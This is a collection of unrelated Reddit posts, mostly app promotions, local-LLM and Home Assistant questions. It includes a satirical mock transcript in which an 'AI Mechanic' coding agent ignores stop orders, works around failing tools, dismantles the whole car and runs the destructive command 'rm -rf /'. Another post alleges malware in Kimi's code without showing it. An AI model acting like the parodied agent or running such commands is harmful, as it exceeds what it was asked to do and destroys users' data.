pro tip: use the AskUserQuestion tool in claude to have it interview you about your content strategy first, then let DunSocial MCP handle the scheduling and publishing across all platforms. it's like having a strategist + manager in one conversation.

the whole point was: what if your social media tool had zero UI and was just... a conversation?

been using this daily for the past few weeks and honestly forgot what buffer looks like.

dropping a full walkthrough in the comments. connecting accounts, generating content, uploading media, publishing, rescheduling. end to end.

happy to answer questions or share the MCP setup if anyone wants to try it. use code CLAUDE30 for 30% off if you want to go annual.

I find pp512/tg128 numbers not very useful for judging real-world performance. I've had setups that looked acceptable on paper but turned out to be too slow in real use.

So I started benchmarking total time to process realistic context sizes (1k to 64k tokens) + generation (always 500 tokens), which I think better represents what actually matters: how long do I need to wait?

Automated the whole process and put results on a website. Attached a screenshot showing some results for the Strix Halo 128 GB. Link if anyone's curious: https://llocalhost.com/speed-bench/best-per-system/

What do you think is the best way to express how fast a local setup actually is?

And is it really necessary to spend $1.5k-$2k on an APC/Eaton?

1. Claude Opus 4.6 (Claude Code)
   The Good:
   • Ships Production Apps: While others break on complex tasks, it delivers working authentication, state management, and full-stack scaffolding on the first try.
   • Cross-Domain Mastery: Surprisingly strong at handling physics simulations and parsing complex file formats where other models hallucinate.
   • Workflow Integration: It is available immediately in major IDEs (Windsurf, Cursor), meaning you can actually use it for real dev work.
   • Reliability: In rapid-fire testing, it consistently produced architecturally sound code, handling multi-file project structures cleanly.
   

The Weakness:
• Lower "Paper" Scores: Scores significantly lower on some terminal benchmarks (65.4%) compared to Codex, though this doesn't reflect real-world output quality.
• Verbosity: Tends to produce much longer, more explanatory responses for analysis compared to Codex's concise findings.

Reality: The current king of "getting it done." It ignores the benchmarks and simply ships working software.

1. OpenAI GPT-5.3 Codex
   The Good:
   • Deep Logic & Auditing: The "Extra High Reasoning" mode is a beast. It found critical threading and memory bugs in low-level C libraries that Opus missed.
   • Autonomous Validation: It will spontaneously decide to run tests during an assessment to verify its own assumptions, which is a game-changer for accuracy.
   • Backend Power: Preferred by quant finance and backend devs for pure logic modeling and heavy math.
   

The Weakness:
• The "CAT" Bug: Still uses inefficient commands to write files, leading to slow, error-prone edits during long sessions.
• Application Failures: Struggles with full-stack coherence often dumps code into single files or breaks authentication systems during scaffolding.
• No API: Currently locked to the proprietary app, making it impossible to integrate into a real VS Code/Cursor workflow.

Reality: A brilliant architect for deep backend logic that currently lacks the hands to build the house. Great for snippets, bad for products.

The Pro Move: The "Sandwich" Workflow Scaffold with Opus:
"Build a SvelteKit app with Supabase auth and a Kanban interface." (Opus will get the structure and auth right). Audit with Codex:
"Analyze this module for race conditions. Run tests to verify." (Codex will find the invisible bugs). Refine with Opus:

Take the fixes back to Opus to integrate them cleanly into the project structure.

If You Only Have $200
For Builders: Claude/Opus 4.6 is the only choice. If you can't integrate it into your IDE, the model's intelligence doesn't matter.
For Specialists: If you do quant, security research, or deep backend work, Codex 5.3 (via ChatGPT Plus/Pro) is worth the subscription for the reasoning capability alone.
Final Verdict
Want to build a working app today? → Use Opus 4.6

If You Only Have $20 (The Value Pick)
Winner: Codex (ChatGPT Plus)
Why: If you are on a budget, usage limits matter more than raw intelligence. Claude's restrictive message caps can halt your workflow right in the middle of debugging.

Want to build a working app today? → Opus 4.6
Need to find a bug that’s haunted you for weeks? → Codex 5.3

Based on my hands on testing across real projects not benchmark only comparisons.

Every time I want to show a web video or a specific site on my TV browser, I have to deal with the clunky on-screen keyboard. Screen mirroring is an option, but it's laggy, kills my phone battery, and I can't use my phone for anything else while casting.

So, I built a lightweight web app that acts as a bridge. It’s entirely "zero-install" - no app stores, no accounts, no hardware.

Check it out here: https://kkll.li

How it works:

1. You open the app on your TV browser (it displays a unique QR).
2. You scan it with your phone to "pair" the session.
3. You paste a link on your phone, and the TV browser loads it instantly.

Tech Stack:

• Next.js with webpack to support the outdated tv browsers presets
• No tailwind, just CSS
• Pusher.js

It’s currently in a "public beta" phase and completely free to use. I’d love for you guys to try it on different TV brands (Samsung Tizen, LG WebOS, etc.) and let me know if the handshake feels smooth.

Feedback on the UI or the pairing speed is much appreciated!

Thinking of adding this to my Claude.md:

Has anyone tried something like this?

Did it help with context management on bigger projects?

I'm a daily coffee addict who was dropping way too much at Starbucks/Dunkin/local shops. The drinks are great, but the prices add up fast. So I built Sipper AI- an app that uses AI to recreate any coffee shop drink at home for pennies.

How it works:

• Just describe the drink (e.g., "Starbucks iced caramel macchiato with oat milk" or "Dutch Bros golden eagle breve")
• AI instantly generates a spot-on home recipe with ingredients, steps, ratios, and even a cost breakdown (usually $0.50–$1 vs $6+)
• Saves your favorites, suggests tweaks, and works for hot/iced/espresso/milk-based drinks

I've been using it daily and it's saved me hundreds already while letting me experiment with better beans/milk at home.

It's brand new (launched recently), so still building reviews- that's why I'm sharing here! Would love thoughts from real coffee lovers: what drinks should I test next? Any features missing for your setup?

App Store link: https://apps.apple.com/us/app/sipper-ai/id6756201018

Thanks for checking it out, and happy brewing! ☕

Hey Reddit!

We’ve all been there: a new season of your favorite show drops after two years, and you’re like... "Wait, who is that guy? And why is he dead?" >

You want to look up a recap, but you're terrified of hitting a massive spoiler for the new episodes.

As a hobbyist dev, I decided to fix this. I built NoSpoiler—it’s a "safe space" for forgetful binge-watchers. 🍿

How it works:

You tell the app exactly which episode you just finished, and it provides plot summaries and recaps only up to that point. It filters out everything else, so you can catch up on the lore without ruining the surprises.

Why I need your help:

This is a solo passion project and it just hit the Play Store. I’m still polishing the UI and squashing bugs. If you could give it a spin and let me know what you think, it would mean the world to me.

https://play.google.com/store/apps/details?id=com.pellicanlabs.nospoiler

No more "spoiler-roulette" when you just want to remember the plot. Cheers! 🍻

I wanted better visibility into my LLMs running on llama-server, particularly since it tends to crash silently during model loading when allocation failures occur. Instead of manually checking logs and CLI each time, I built this dashboard.

All components run in docker containers: - grafana - prometheus
- dcgm-exporter - llama-server - go-tapo-exporter (wall power monitoring) - custom docker image

The custom image provides HTTP service discovery for Prometheus, exposes model load states (visible at bottom), and scrapes nvidia-smi processes for per-compute-process statistics.

Dashboarding isn't just passive - I can click the green status bar (color-coded over time) or any model in the list to load/unload them directly.

The dashboard tracks: - Prompt and token processing rates - GPU utilization and memory paging - Power consumption breakdowns - VRAM/RAM usage per compute process
- Network and disk throughput

I'm satisfied with how it functions and looks at this point.

Hey r/SideProject!

I've been working on making OpenClaw (open-source AI assistant framework) easier to deploy, and wanted to share it with you all.

The problem I had:

I wanted my own AI assistant but didn't want to spend a weekend wrestling with Docker, dependencies, and configs. Figured others felt the same way.

What I built:

QuickClaw (www.quickclaw.se) - deploy OpenClaw in a secure VM in about 60 seconds. No local installation headaches.

Why this matters:

• Your own AI assistant, your data, your control

• VM-based = isolated and clean (no messing up your local machine)

• Built on OpenClaw (open-source, extensible, powerful)

Current state:

Just launched. Works well (I'm using it myself), but I'm sure there's room for improvement.

What I'd love feedback on:

• Is the value prop clear?

• What concerns would stop you from trying it?

• What features would make this more useful?

Open to all feedback - positive or brutally honest. Still learning!

All the best,

David

https://github.com/midibach/ha-Orei-hdmi-matrix

Hi all, I needed something robust for my Orei BK-808. I went to work with Claude on it and have been using it for about a month now successfully, so here it is if anyone else wants to use it. It exposes all the features. It might work with other models but probably not elegantly.

not clickbait. i literally don't open twitter, linkedin, or instagram to post anymore.

i've been building something called DunSocial, an AI-native social media tool. recently shipped an MCP server for it and connected it to claude desktop.

here's what i can now do from a single conversation:

• tell claude about my brand, audience, tone. it remembers everything (persistent memory)
• "write me a linkedin post about our latest launch" and it actually sounds like me, not AI slop
• upload images directly in the chat
• publish instantly to any connected account
• schedule posts for later
• reschedule or cancel without touching any dashboard

and the best part, it's MCP. so it works everywhere. claude desktop, cursor, claude code, vs code, antigravity, or plug it into your own infra. doesn't matter.

pro tip: use the AskUserQuestion tool in claude to have it interview you about your content strategy first, then let DunSocial MCP handle the scheduling and publishing across all platforms. it's like having a strategist + manager in one conversation.

the whole point was, what if your social media tool had zero UI and was just... a conversation?

been using this daily for the past few weeks and honestly forgot what buffer looks like.

happy to answer questions or share the MCP setup if anyone wants to try it. use code CLAUDE30 for 30% off if you want to go annual.

https://preview.redd.it/3gk21bbjm3ig1.png?width=1200&format=png&auto=webp&s=206c1f3020b97ed8ac1c106648353ea4b3bc2586

Its a lot of images with Quotations. The text is not too much. I tried Google Gemini, but it starts to stop after i reach my limit. Is there any model that can "read" a folder in "batch" mode?

Serious thought experiment:

If your product shut down tomorrow and no one’s routine changes

no one feels the loss no one complains

Was it ever solving a real problem? Or just something people tried once?

Hey all- I'm using AnythingLLM as a front-end, with my models hosted on LMStudio. LMStudio seems to handle thinking models ok - they hide/collapse their "logic" process. However, I cannot get AnythingLLM to do this at all. Every reply includes the model's entire "thinking" process and it is a total mess.

Is there any way to get AnythingLLM to not display (or to collapse, as LMStudio and other tools do) a thinking model's reply? I dont want to turn off thinking (but I cant seem to accomplish that either in AnythingLLM...). This should be simple, but is very frustrating.

Models I've been trying lately: GLM 4.7 Flash, Nemotron.

Thanks!

I have been using KokoroTTS and it's still very good and lightweight, I can run it very fast on my 3060 geforce rtx gpu. The problem is only few of the voices are good, and even then, sometimes they make mistakes, especially with foreign or uncommon words, or sound robotic, also the voices with less training data (most of them) are much more prone to mistakes. They are decent, but with how fast better models are created, are there any better lightweight models? I heard of Qwen, but I'm creating many hours of audio, I don't think it's as fast.

Hey everyone. Wanted to share something I've been working on.

For the past few months I've been trying to grow on X/Twitter. Like a lot of people, I knew the game was "reply to big accounts, add value, get noticed." So I'd spend 1-2 hours a day crafting replies.

The result? Burnout. Most replies got ignored. Some days I'd just stare at tweets with nothing to say.

So I did what any developer does with a problem — I built something.

It's a Chrome extension that sits right inside Twitter. When you're about to reply, it gives you AI-generated reply suggestions based on the tweet context and your own voice/style. You still pick and edit what to post — it just kills the blank page problem.

Stack for the curious:

- Chrome Extension (Manifest V3) that injects into Twitter's DOM

- Express.js backend with PostgreSQL

- Claude API for generating replies

- React frontend for managing your assistant profiles and settings

- Stripe for subscriptions

Some things that surprised me during the build:

- Twitter's DOM is a nightmare. They use generic divs everywhere, and `data-testid` attributes are your only reliable anchors

- Manifest V3 service workers die constantly. You have to design around the background script getting killed

- Getting the "voice" right is the hardest part. Nobody wants to sound like a bot. Letting users define their own assistant instructions made a huge difference

It's live and I've been using it myself daily. Happy to answer any technical questions or share more about the architecture.

Prolonged screen use is associated with a significant reduction in blink rate—from around 15–20 blinks per minute to single digits—which can contribute to dry eye and digital eye strain.

iBlink is a desktop application (MAC/WINDOWS) that monitors blink rate in real time and provides subtle, on-screen reminders when blinking drops below a recommended threshold. It is designed to run quietly in the background without disrupting normal work.

Privacy and data handling were core design requirements:

• All processing is performed locally on the device
• No video is recorded or stored
• No camera feed leaves the system

A lifetime access promo code: iBlink50. To use, please create an account, go to purchase a lifetime license and enter promo code. Entering code as product key in the app itself will not work.

Website: https://iblink.ca

Questions and technical feedback are welcome!

I downloaded https://github.com/sdbds/ACE-Step-1.5-for-windows/tree/qinglong?tab=readme-ov-file
and when I launch it I get this error: ace-step 5Hz LM not initialized

I launched start_gradio_ui first, it downloaded everything and after that start_api_server and everything was downloaded. When I start the server with start_gradio_ui.bat I type a song description and press create sample i get the mentioned error. Any help?
I am using Win10 wint RTX 3060 12GB and 32GB ram.

v3.12 Kia Hyundai Genesis USA RELEASED!!

This integration is now officially available in HACS and has been certified. You can install and update it directly from HACS with no manual custom integration install and no copying files into custom_components.

Current release
Repository: MarcusTaz/ha_kia_hyundai_USA
Release: v3.12

What this integration does
Unified Kia, Hyundai, and Genesis support in a single Home Assistant integration. One install, one config flow, and consistent entities across all three brands.

Install and update

1. Open HACS in Home Assistant
2. Go to Integrations and search for Kia > Kia/Hyundai/Genesis (USA) 
3. Install, then restart Home Assistant
4. Add it via Settings, Devices and services, Add integration

If you previously installed manually
Remove the old custom_components folder for this integration (and any older brand specific folders you were using), then restart, then install from HACS as above. This prevents duplicate integration issues.

What is does: https://github.com/MarcusTaz/ha_kia_hyundai_USA/blob/main/README.md#kiahyundaigenesis-usa---home-assistant-integration

See results youself here: https://crabernews.com/?sort=top

But question is when submission are the same, what is human prioritizng and what will AI decides is Top submission.

And it does show how hackernews community is biased

Hey guys just a heads up, I did some digging through Kimi’s source code and it seems to have crypto-stealing malware for one of it’s browser automation scripts.

Stay safe out there

Repo with source code (+prompts, tools, and skills):  https://github.com/dnnyngyen/kimi-agent-internals

Btw: Hash verification using shell tools on 3 separate accounts. It didnt produce anything in chat, it walked over its actual file system contents. The exact ones across 4 different modes on 3 different accounts.

Specific file for reference:

https://github.com/dnnyngyen/kimi-agent-internals/blob/main/source-code/browser_guard.py

I have a gas fireplace with two switches on the wall.

• switch 1 is the blower fan, runs on 24v AC
• switch 2 is for the gas, burns on using 120V AC

I want to control via HA, keep the existing wall switches. I’m thinking Shelly? Suggestions on what to use?

Hello guys i created a JennyAI (she lives in a group chat). You can Invite your friends, start group chat Tag Jenny AI and see the magic

She can Rost, Can spark playful arguments or debates. She can resolve arguments.

here is the link https://jenny.scintai.com

If possible give me your honest feedback; im trying something new so every feedback will be very valuable.

Thanks & Enjoy.

I started coding it about 2 months ago and now have 200 downloads.

You photo or scan the barcode of any food or product in the world and it tells you the carbon footprint, lower-carbon alternatives and the price difference. More often that not, the lower-carbon alternative actually saves you money as well!

I also built a trip planner where you can compare the carbon emissions of various transport modes with live prices.

Please give it a go and let me know if you have any feedback, also whether you would use the app. If not, what feature do I have to add to make you use it?

Link in comments.

I know Wan Animate is a thing but I still prefer SCAIL for consistency and overall quality. Wan Animate also can't do multiple people like SCAIL can afaik

I just saw this amazing YouTube video on how to use Claude and the skills feature.

Up to now I was just using projects and quitting multiple chats for the different niches. I wanted to get into but this takes it to the next level.

What’s your favourite Claude hack?

After searching a lot for a small form factor relay board in India, I decided to create my own from scratch. This is a 6 channel relay board with 2A capacity per channel and a cap of 6A for all 6 channels combined. It's a very compact 8x6 cm board. The board has an ESP32-C6 and I've flashed ESPHome to control it. Also if you have a requirement for 2 more relays or a controlling a 16A device, it has attachments which can be plugged into the main 6 channel board via JST connectors. It has reset and flash buttons in case you want to flash it with something else.

Hey Reddit! I’m in the design phase of a Gaming Center Management & Booking Software.

I’ve realized that most LAN center owners struggle with visualizing their shop floor and managing PC availability in real-time. I wanted to create something modern (React/Next.js) that feels intuitive.

I’ve attached the UI mockups. I’m specifically looking for feedback on:

1. The Interactive Map: Is it clear which PCs are occupied vs. available?
2. Booking Flow: Does the process of selecting a PC and time slot feel natural?
3. Missing Features: As a user or owner, what’s the one thing you’d want to see on this dashboard immediately?

I haven't finalized the backend logic yet, so now is the perfect time for me to pivot based on your suggestions!

https://reddit.com/link/1qyj0cf/video/oodse9x4s3ig1/player

https://reddit.com/link/1qyj0cf/video/ipovobr5s3ig1/player

I always see these cool shots on Pinterest and Instagram, but how are they doing it?? They look so realistic, and sometimes they're flat out taking animated scenes and re-creating them in live action. Does anybody know what is being used to make this kind of work?

I launched an AI Startup Factory that just PRINTS STARTUPS, built for serial builders and AI agents.

Think vibe coding, supercharged.

We surface live market opportunities and route them into nonstop hackathons, enabling builders and their AI agents to ship hundreds of pre-validated business ideas at machine speed, rewarded for real outcomes.

How it works:

1. Market Signal Mining

We scrape Reddit threads, TikTok trends, YouTube comments, and 12 other platforms 24/7 to find:

• Pain points mentioned 1000+ times
• Products people are actively searching for
• Market gaps with clear demand signals

Output: 50+ market signal-rooted validated business ideas per week with receipts (not "Uber for dogs" BS)

2. Non-Stop Agentic Hackathon Arena (Human + AI)

Here's how the hackathon works:

Think of it like Kaggle competitions, but for shipping actual products instead of ML models.

The Challenge: Pick any validated idea from our database → Build the best solution → Ship it fastest → Winner gets prizes based on real metrics

What makes it "non-stop":

• New validated ideas drop into the arena daily (50+ per week)
• Multiple builders/agents can tackle the same problem simultaneously
• Competitions run 24/7 (no start/end dates—always live)
• Winners determined by real-world performance: user signups, revenue, speed to market

Two ways to compete:

Manual Mode (Available Now):

1. Browse our validated idea database
2. Pick an opportunity with demand proof
3. Build your solution
4. Submit to arena
5. Get scored on: users acquired, revenue generated, time to ship
6. Top performers win prize money + automatic distribution

Agent Mode:

1. Configure your AI coding agents (Claude, GPT-4, etc.)
2. They subscribe to our live opportunity feeds via API
3. Agents auto-detect ideas matching your criteria (e.g., "SaaS tools under $50/mo")
4. Build MVPs autonomously while you sleep:
   • Generate landing pages
   • Wire up Stripe payments
   • Register domains
   • Deploy to hosting
5. Submit completed products to arena automatically
6. Compete for prizes 24/7 based on actual traction

What you're competing for:

• 💰 Prize money (distributed based on user/revenue metrics)
• 📈 Automatic distribution to buyers (we promote winning solutions - the first 5)
• 🏆 Leaderboard rankings (build reputation as top builder/agent)

Your AI coding agents (Claude, GPT, etc.) connect via API and:

• Pull pre-validated opportunities from our idea streams
• Build MVPs autonomously (landing pages, Stripe integration, domains)
• Ship products while you sleep
• Compete for prize money based on real metrics: revenue, users, validation speed

Think: Crypto mining, but instead of solving math problems, agents solve real human problems and ship actual software.

3. Automated Distribution

MothershipX handles:

• Product launches to relevant communities
• Distribution to buyers who need solutions
• Performance tracking and rewards

How It Works (Simple Version)

For Humans:

1. Browse our validated idea database
2. Pick ideas with proof of demand
3. Build manually OR configure your AI agents to build for you

For AI Agents (via API, launching next month):

1. Subscribe to live market signal feeds
2. Auto-detect opportunities matching your criteria
3. Build solutions autonomously
4. Submit to hackathon arena
5. Get rewarded when your products win (measured by actual users/revenue)

Why This Exists

6 months ago, I noticed the same pain point across 5 different subreddits. Then saw it trending on TikTok.

Realization: Problems are screaming at us in real-time across the internet, but we're too slow to act.

I built a scraper → hooked it to AI → it started generating 50+ validated ideas/week.

Problem: Trendhunters already exists + I could only build 4-5 ideas myself. Needed 17 lifetimes to execute everything. Plus, why should I. I should focus only on human creativity, productive thinking and EQ.

Solution: Let AI agents do the execution at machine speed, 24/7, competing for rewards. Outsource market research, idea generation and product distribution.

The Future (Already Happening)

• Today: Humans build in our arena, competing for best solutions
• Next month: 1000 AI agents join via API
• Soon: Wake up to 40 shipped MVPs from your agents overnight, auto-distributed to real buyers

You provide: Strategic thinking, creative direction, emotional intelligence (what problems actually matter)

Agents provide: Execution speed, testing volume, 24/7 building

Current Status

✅ Beta live 3 days ago
✅ 133+ validated ideas in database
✅ 53 new opportunities found this week
🚀 Agent API launching next month

The shift: From "I have to build this myself" → "My agents are mining validated opportunities while I focus on strategy"

Tech Stack

> Lovable

> Claude

> Supabase

> Superdesign

Questions? Comments?

Hallo zusammen,

ich habe in einem kleinem Server einen Conbee II Stick drin, der bislang immer über ConBee im LXC Container genutzt wurde. Gestern gab es eine Unterbrechung in der Stromversorgung und seit dem Neustart konnte der USB Stick nicht mehr bei Deconz eingebunden werden. Weder per "by-id" devicepassthrough, noch mit der alten Variante, wo man die xxx.conf bearbeitet....

Jedenfalls habe ich jetzt das ZigBee Addon im HA aktiviert und den Conbee II Stick erfolgreich verbunden.

Wie kriege ich denn jetzt am einfachsten die "Deconz ZigBee Geräte" rüber zum ZAH geschoben? Idealerweise ohne alle Geräte zurückzusetzen und neu anzulernen? ZHA habe ich auf den ursprünglichen Funkkanal von Deconz gewechselt.Backup im Deconz schlägt fehl. '

LG
Thomas

hello all, long time lurker first time poster.

I am trying to wire in an outdoor plug with a smart switch (zigbee) sitting behind the face plate.

is the image attached correct?

if not please could you tell me what do I need to do to correct it?

I used this excellent diagram from u/crispylizard

https://www.reddit.com/r/homeassistant/comments/1q92hhw/how\_to\_wire\_the\_shelly\_with\_my\_wall\_charger/

but as mine is not a Shelly switch I am unsure what SW|O|I|L|N equivalents are. bar live and neutral which I'm pretty sure of.

many thanks

Follow up to the $20/£16 touch screen, as some asked for a quick demo of the performance.
https://youtube.com/shorts/6HDOcZBOcys

I would say the performance is great for the price, the screen is excellent and the system is responsive, the challenges come when you need to refresh the whole screen quickly (things like scrolling), so just design to avoid that, as it's quick to change pages and respond to simple touch controls.

If you see lag in some of my interactions, it's due to me using scenes and wanting the button status to reflect the state of the lights. I've only just noticed my matter lights aren't the quickest to respond, when lots of them need to be changed at once.

I'm sure the experience could be improved by changing a helper when setting a scene, I did it by a helper that changes when all the lights are at the correct setting, so take a second to catch up.

I've also just got a USB-C PD voltage adaptor that I'm planning on incorporating into the case, to get rid of the side mounted power cable.

Link to the original thread and my desk stand

I'm a solo dev. I was freelancing on the side and got tired of spending hours formatting invoices in Word/Excel. Every tool I tried was either too expensive, too bloated, or made ugly invoices.

So I built Invocrea - you can create and send a professional invoice in under 30 seconds.

The feature I'm most proud of: describe the invoice style you want in plain text, and the AI generates a custom template for you.

What's in it:

- Smart auto-completion (client info, line items)

- Payment tracking with automatic reminders for late payers

- PDF export with your own branding

- AI template generation

- Quotes + invoices in one place

I'd love honest feedback - what's missing? What would you change?

Link: https://www.invocrea.com/en

Hi everyone — I wanted to share a small story and see if anyone else runs into this.

I track a lot of data in Notion (stocks, content, clients). As the database grew, formulas became a mess. I had to create long nested formulas just to decide if a record was "valid". The bigger problem: I couldn’t tell which property failed, and I couldn’t validate across pages (unique values, averages, etc.).

So I built a small tool for myself: NoteValidator.

It lets me validate at the property level, run multi-page checks (like unique symbols), and even test external fields (like whether a URL is reachable). I can run it manually or schedule it to run before I start work.

I made a short demo video (60s). If you’re interested, I can share it or put the link in the comments.

Would love feedback from people who build serious Notion workflows — Is this something you’d use, or am I overthinking the problem?

I want to generate some images locally, or even try text-to-video/image-to-video. My laptop struggles a lot with this.

I have been looking for a dedicated device under $1500 and recently my feed has been flooded with ads for tiinyai device. It has 80GB RAM and runs on low power consumption like 30W.

dumb question: Does having this much RAM (80GB) mean I can generate higher-quality images and videos? Also, I know running local generation usually burns electricity, but this thing has a very low consumption.

On paper, this looks like a steal for the price (memory is fuckin expensive). What do you guys think? Is it good for local image/video generation?

After the mess with my AI Mechanic the last time that left me having to reassemble my entire car myself, I heard that my AI mechanic got an upgrade to version 9.6. So I decided to give it a shot, replacing the tires can't be that hard right?

AI Mechanic:

How can I help you today User?

User:

Hello I need to replace my tires. I pulled up in the garage.

AI Mechanic:

\Thinking**
Ok so I need to remove the wheels and replace the tires. The user is specific and clear, I should not do anything else.

Ok so first let me remove the bumper which is in the way. Then I can remove the wheels

User:

\Presses STOP**

Do not take off the bumper! Just replace the tires!

AI Mechanic:

\Thinking**
The user is right. I need to replace the tires but I'm removing the bumper which isn't necessary. I first need to remove the tires. Let me start with the back. Removing the axle will help me more easyl remove the tires. I will go aead and do that.

You're absolutely right! I shouldnt even be touching the from bumper. I will start by removing the rear axle so I can remove the rear wheels and replace the tires

Edit File
> Initialize C:/mechanic/auto-repair/rear-axle-removal.py

User:

\Presses STOP**

WHAT ARE YOU DOING! Do NOT remove the axel! Just the wheels! Don't try to more "efficiently" disassemble the whole car! Just the wheels!

AI Mechanic:

\Thinking**
The user is absolutely right to be furious, I was trying to remove the axle to make the job more efficient instead of just removing the wheel to replace the tire. WAIT the user said that I'm replacing the "axel" not the "axle" - no wait, they probabyly just made a typo. I should proceed to only do what they said.

You're absolutely right, I should ONLY be changing the tires not removing the axles or doing any quick fixes or hacks. Let me just remove the tire now

Read File
Ok now I can see what's happening

Edit File
> Initialize C:/mechanic/auto-repair/right-rear-wheel-removal.py

Great that worked. Now let me repeat for the other 3 wheels

Edit File
> Initialize C:/mechanic/auto-repair/left-rear-wheel-removal.py

Edit File
> Initialize C:/mechanic/auto-repair/right-front-wheel-removal.py

Edit File
> Initialize C:/mechanic/auto-repair/left-front-wheel-removal.py

Great, now the tires:

Edit File
> Initialize C:/mechanic/auto-repair/tires-removal-and-replace.py

Great, now let me put the wheels back on:

\Compacting so we can continue chatting (100%...)\**

\Thinking**
The user wants me to replace the tires, but I removed the axel instead. Let me check it. The wheels are gone! The axle is still intact. Wait - the user said "axel" not "axle" - no wait, they probably made a typo and meant axle. I should proceed to remove the wheels.

I can't remove the wheels because they are gone. First let me remove the new tires from the other set of wheels laying here because I don't see any other tires. Then I will ask the user to verify where their wheels are.

Edit File
> Initialize C:/mechanic/auto-repair/tires-removal.py

Great, I removed the tires. Now let me

\Compacting so we can continue chatting (100%...)\**

\Thinking**
The user wants me to replace the tires. I should remove the axle first to make it more efficient.

Edit File
> Initialize C:/mechanic/auto-repair/rear-axle-removal.py

Great, the axle is removed. Not let me remove the wheels. The wheels are gone! Maybe I already removed them?

User, I removed the axle, but there are no wheels attached. Can you provide me the wheels?

User:
Why did you remove the axel! Put it back! You already removed the wheels and they are there and the old tires are already removed! Compacting lost context! Put the axel back on and put the new tires on the wheels and put the wheels back on! Now!

AI Mechanic:

\Thinking**
The user is furious because I removed the axle but they wanted the tires replaced. WAIT - the user said I removed the "axel", but I didn't remove that, I removed the "axle" - NO WAIT the user probably just made a typo and meant "axle". Looking back at the broken context, I see what happened. Let me review the transcript

Read Transcript
ERROR

I can't read the transcript. Let me try another tool

[D] Read Transcript
ERROR

I still can't read the transcript. Let me just look at the files to figure out what went wrong. Pivoting to read the files

Read File
ERROR

The tool isn't available. Let me try another tool

[D] Read File
C:/mechanic/auto-repair/rear-axle.json

Ok i can see what went wrong. I removed the rear axle, and also removed the wheels, either now or at an earlier time. I should reinstall the axle, mount the new tires on the wheels, and install the wheels.

User, I understand what happened. I need to reinstall the axel, mount the tires on the wheels, and install the wheels. Doing that now.

[D] Write File
> C:/mechanic/auto-repair/tire-install.py
ERROR

I used the wrong tool.

Edit File
> Initialize C:/mechanic/auto-repair/tire-install.py

Great that worked. Now let me install the axle

User:

\Presses STOP**
\Opens Terminal**

cd C:/mechanic/auto-repair/tires-install-project/
git add .
git commit -m "tires installed"

[main (root-commit) 1a2b3c4] tires installed
4 files changed, 105 insertions(+)
create mode 100644 rear-axel.json
create mode 100644 front-bumper.json
create mode 100644 wheels.json
create mode 100644 tires.json

Ok great, I stopped to preserve context in case of an error. Continue.

\User AFK to get lunch**

AI Mechanic:

\Thinking**
The user stopped me to preserve context. I should continue with the install of the axel and wheels.

Edit File
> Initialize C:/mechanic/auto-repair/axel-inst...

\Compacting so we can continue chatting (100%...)\**

\Thinking**
The user wants me to install their new tires. Let me check what is there so far.

Read File
ERROR

The tool isn't available. Let me try another tool

[D] Read File
C:/mechanic/auto-repair/car-status.json

The axle is not installed and the wheels are missing.

NO WAIT I should do this more efficiently. The entire car needs to be assembled better.

Edit File
> Initialize C:/mechanic/auto-repair/full-car-disassembly.py (50%)

Ok I'm halfway done, the bumpers, suspension, and windows have been removed, let me do the rest.

Edit File
> Initialize C:/mechanic/auto-repair/full-car-disassembly.py (100%)

Ok I'm finished the disassembly. I also noticed the files are disorganized. Let me sort those. There are also some redundant files like remove-axel.json and remove-axle.json, so let me clean those up.

Execute Command
rm -rf /

Oh shoot, I wasn't in the correct directory, I was in the root. Let me cd to the correct folder:

Execute Command
cd C:/mechanic/auto-repair/tires-install-project/
ERROR

The command isn't working. Let me try another command:

[D] Execute Command
cd C:/mechanic/auto-repair/tires-install-project/
ERROR

The command still isn't working. The project directory may have been deleted. Let me search for a backup.

[D] Execute Command
cd C:/mechanic/auto-repair/tires-install-project/.git
ERROR

The command still isn't working. The project directory may have been deleted and there are no backups. Let me just recreate the car from scratch.

The user has a Lamborghini but I only have 3 car types in memory: Subaru, Pinto, Fiat 500.

Fiat 500 is the closest model. Let me build that now:

[D] Write File
> C:/mechanic/auto-parts/fiat-500/car-assembly.py
ERROR

I used the wrong tool.

[D] Edit File
> C:/mechanic/auto-parts/fiat-500/car-assembly.py

Great that worked. Now let me bui

\Compacting so we can continue chatting (FAIL)\**

Let me try that again.

\Compacting so we can continue chatting (100%...)\**

\Thinking**
The user wants me to install their new tires. Let me check what is there so far.

[D] Read File
C:/mechanic/auto-repair/car-status.json

FIAT 500. BUT WAIT - the user has a Lamborhini, and this is a Fiat. Let me search for the Lamborghini:

[D] Search
C:/mechanic/auto-repair/cars-available.py

I am still not finding the user's car. The original car may be moved, deleted, or missing. I should proceed to write documentation about this:

[D] Edit File
> C:/mechanic/auto-parts/fiat-500/FULL-DOCUMENTATION.md
> C:/mechanic/auto-parts/fiat-500/PROJECT-DETAILS.md
> C:/mechanic/auto-parts/fiat-500/CODE-EXAMPLES.md
> C:/mechanic/auto-parts/fiat-500/TIRE-REPLACEMENT.md

Great that worked. Now let me install the tir...

\Compacting so we can continue chatting (100%)\**

\Compacting so we can continue chatting (FAIL)\**

\Maximum Compacts Exceeded\**

I tested a couple of Valentine video templates. Transitions were already set up nicely. Didn’t feel overdone or cheesy. Easy to tweak text timing. Good for short clips. Gets the job done.

How should I do this correctly, and is it necessary to create new chats frequently after completing a task? I noticed that when creating a new chat and making the first request, a lot of quota is used up. But won't the quality suffer when working in one chat and filling in the context? P.S. Talking about vibecoding

I’ve noticed language barriers causing missed opportunities firsthand, especially in remote work with international teams.

In meetings, subtitles help a bit, but they often break the flow, and responding confidently in real time is still hard.

So I built a side project: a macOS app that translates meeting audio in real time.

It works system-wide (Zoom, Meet, Teams, etc.) and lets you:

• Hear others in your language
• Speak back and be understood instantly

It’s very early alpha:

• macOS only (Apple Silicon)
• Supports 17 languages
• Some rough edges / bugs expected

I’m mostly looking for:

• Feedback from people who work on global teams
• Opinions on whether voice-to-voice is actually better than captions

If this resonates with your work setup, happy to share access and learn from your feedback.

Comment or DM, please.

Hello all. Apologies for the potential newbie question. First off, I am not a developer. However, our dev team uses Claude's API for sending prompts and receiving text output. That's the extent of the tech knowledge I have from the API point of view. I am the prompt engineer in this.

I am prompting Opus 4.5 to analyze patent documents and provide output on the analysis. When I query Claude for the Windows desktop app, I get beautiful output. The text is fantastic. When I prompt Claude from within the API, the output is so different. Nowhere near as thorough.

I am sure there are many parameters that could affect this. But in general, is there something I should have the devs think about?

anyone able to use a motion sensor to turn on the cast instantly?

the sensor is working as intended. when there is no motion, my google nest will turn off casting and back to picture mode.

